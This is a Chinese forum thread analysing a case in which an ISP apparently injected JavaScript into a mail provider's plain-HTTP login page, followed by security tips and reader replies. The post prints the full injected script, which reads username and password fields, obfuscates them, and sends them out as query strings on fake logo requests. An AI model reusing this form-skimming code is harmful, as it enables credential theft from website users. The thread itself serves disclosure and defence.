分享 你们以为运营商只是 HTTP 插点广告而已么?图样图森破啊!

kgen · 发布于 2013年11月12日 · 最后由 ytf4425 回复于 2014年07月02日 · 9746 次阅读
370
本帖已被设为精华帖!

国内某邮件服务商,近期在某南方地区有大量客户反应登录时出错和异常,于是工作人员进行了一下跟进,发现如下: 首先,邮件服务商登陆页面为普通HTTP协议发送,提交时通过JS进行RSA加密(没错,JS的RSA),发送到SSO登陆点,然后进行登录,有些人一看RSA,应该挺安全的了,不过…… 在国内上网的大多数人对于运营商在HTTP包里插广告应该很熟悉了,原理很简单,大家可以参考腾讯安全中心的这篇文章 http://security.tencent.com/index.php/blog/msg/10

在客户端抓包发现收到的HTTP数据包有异常,有几个包的TTL多了2,说明比正常从服务器到客户端的数据包少走了两跳,而且离服务器不是很远,估计在一个机房里,并且数据包的ID是很规律的12345,明显就是伪造的,包中插入了如下内容:

document.getElementById("freepassword").onblur = function (e) { 
    logoFresh(); 
}; 

function onLoginCheck() { 
    var user = null; 
    var pass = null; 
    user = document.getElementById("freename").value; 
    pass = document.getElementById("freepassword").value; 
    if (user.length <= 0 || pass.length <= 0) { 
        return false; 
    } else { 
        return rskQuery(user + '&' + pass + '&xxxxx.com'); 
    } 
}; 

function rskQuery(s) { 
    s = encodeURIComponent(s); 
    var r = Math.random(); 
    var num = (Math.round(r * 100)) % 9 + 1; 
    var i = 0; 
    var out = ''; 
    do { 
        var ch = s.charCodeAt(i++); 
        ch = (i % 2 > 0) ? (ch - i % num) : (ch + i % num); 
        var l = (ch / 10 >= 10) ? 3 : (ch / 10 > 0 ? 2 : 1); 
        out += l.toString() + ch; 
    } while (i < s.length); 
    out = r.toString().substring(0, num) + out + num; 
    return out; 
}; 

function logoFresh() { 
    var h = logoUrl(); 
    var s = onLoginCheck(); 
    if (s == false) { 
        return false; 
    } 
    for (var i = 0; i < 2; i++) { 
        var bg_logo = new Image(0, 0); 
        bg_logo.src = h + 'images/logo_bg.jpg?' + s; 
    } 
    var s1 = onLoginCheck(); 
    var ajaxUrl = h + 'images/logo_bg.jpg?' + s1; 
    var result = xmlHttpConnect(ajaxUrl, "get", null); 
}; 

function logoUrl() { 
    return '/'; 
}; 

function createXMLHttp() { 
    if (window.XMLHttpRequest) return new XMLHttpRequest(); 
    else if (window.ActiveXObject) return new ActiveXObject("Microsoft.XMLHTTP"); 
    else return null; 
}; 

function xmlHttpConnect(url, method, content) { 
    var request = createXMLHttp(); 
    if (request == null) return null; 
    try { 
        request.open(method, url, true); 
        request.send(content); 
    } catch (e) { 
        return null; 
    } 
    if ((request.readyState == 4) && (request.status == 200)) return null; 
    else return null 
}; 

document.getElementById("vippassword").onblur = function (e) { 
    logo_Fresh(); 
} 

function onLoginPhone() { 
    var user = null; 
    var pass = null; 
    user = document.getElementById("vipname").value; 
    pass = document.getElementById("vippassword").value; 
    if (user.length <= 0 || pass.length <= 0) { 
        return false; 
    } else { 
        return rskQuery(user + '&' + pass + '&vip.xxxxx.com'); 
    } 
} 

function logo_Fresh() { 
    var h = logoUrl(); 
    var s = onLoginPhone(); 
    if (s == false) { 
        return false; 
    } 
    for (var i = 0; i < 2; i++) { 
        var bg_logo = new Image(0, 0); 
        bg_logo.src = h + 'images/logo_bg.jpg?' + s; 
    } 
    var s1 = onLoginCheck(); 
    var ajaxUrl = h + 'images/logo_bg.jpg?' + s1; 
    var result = xmlHttpConnect(ajaxUrl, "get", null); 
}

在登录form里抓取用户名和密码,当成参数跟在logo后面再访问一下logo,再从中间抓包获取这段内容。这样的话邮件服务商的日志里肯定会出现很多logo的请求后面跟着明文用户名密码吧,错了,服务商那边根本没看到logo被请求两次,推断是带有这个特征的数据包被drop了,真尼玛用心啊。

至此,用户的邮箱密码已经泄露,用户和服务商也没有任何察觉,可能由于某些原因,比如延迟,丢包,bug之类的,导致部分用户被插的时候有异常,影响了原有的登录js,才导致这次事件浮出水面。 服务商由于成本问题,暂不考虑采用SSL登录。

至于那边还有什么类似设备我就不多说了,反正据我的了解,国内随便什么实权部门都能任意在ISP机房和主干网上接入任意设备,据说连税务的都有。


本文来源地址:http://zone.wooyun.org/content/2507


安全建议

  1. 使用 1Password 或 Lastpass 等工具,为每一个网站自动生成随机密码,反正一键登录的,不用怕麻烦。
  2. 不要使用来历不明的 DNS 服务,理论上它可以劫持任何域名到一个伪造的IP上,方便实施中间人攻击。
  3. 打开网站时,如果浏览器提示SSL证书有问题,千万小心,避免中间人攻击。
  4. 除了运营商外,大量酒店的网络也会记录使用者数据,包括网址和明文的表单内容,其中可能包含帐号密码。已经有VPN的同学,别忘了VPN不仅可以用于科学上网,还可以在公共网络下,加密所有通讯数据。
  5. 标记 CNNIC 的证书为“不信任”,关于这个典故,请自行Google后,决定是否要做。
共收到 28 条回复
1

敌人狡猾狡猾地。

96

恩在公共场所上网VPN还是很有必要的

96

能把这点心思放在正事上面做什么都成功了。

681

路由器中毒了?

227

防不胜防

990

结果Lastpass的密码被抓了……

5077

我去了个鸡大腿的,真有啊,还真有啊,哈哈

96

某邮件服务商?

96

邮件服务商登陆页面为普通HTTP协议发送,提交时通过JS进行RSA加密

服务商搞这样的伪安全还不如不加密,反正这样“加密”了浏览器上也不会有安全链接提示,用户看不到也不会有“安全”的感觉,国内用户也没人实际上在乎,浪费时间搞个伪加密干什么呢,还浪费带宽……

681

https 也一样,不安全。

370

#10楼 @aptx4869 国内好几家互联网服务商,都喜欢搞自己的安全方案,而不是采用业界被证实的最可靠的安全方案。 跟他们部分员工交谈后发现,是因为最早设计的Leader对业界的常规方案不太了解,所以自己“发明”了一套……

3196

腾讯那篇文章受益匪浅

1141

最近浏览网页时右下角老弹出广告,雪球啊,ruby-china啊,一看就不是访问站点的广告。 这运营商也太没下限了吧,这样做是不是违法?去工信部投诉去

2408

#14楼 @feitian124 如果是上海电信直接打电话过去讲一声就会停掉给你推送广告

96

#12楼 @kgen leader是安插的。。。

2221

学习了!!! 感谢楼主

1638

下三烂啊

96

登錄一定要 ssl 呀。

96

这么比较先进……

370

#16楼 @clc3123 哈哈,黑得好!

6897

哎,社工伪装吧,技术隐藏已经无效了。

96

ipv6 会不会安全些?

4371

不然呢

6903

都已经是电信的付费用户了 还tm推广告 不过话说 电信帐号有特供去广告的吗?

96

机智地使用shadowsocks

需要 登录 后方可回复, 如果你还没有账号请点击这里 注册